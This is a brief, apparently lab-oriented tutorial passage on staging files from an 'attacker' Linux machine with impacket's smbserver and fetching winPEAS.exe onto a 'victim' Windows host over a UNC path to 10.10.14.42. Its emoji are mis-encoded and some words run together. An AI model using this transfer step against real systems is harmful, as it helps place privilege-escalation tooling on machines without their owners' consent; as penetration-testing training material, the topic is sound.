๐ฅ๏ธ On the Linux Server (Attacker Machine)
Start an SMB server using impacket-smbserver:
sudo smbserver.py gnu $(pwd) -smb2support
gnu: Share name$(pwd): Current working directory to be shared-smb2support: Enables SMB2 support for better compatibility with newer Windows systems
๐ช On the Windows Client (Victim Machine)
Access the shared file using UNC path:
\\10.10.14.42\gnu\winPEAS.exe
๐ธ Replace
10.10.14.42with the IP of your Linux (attacker) machine ๐ธ You can also map this as a network drive or copy files directly usingcopyorxcopyin CMD or PowerShell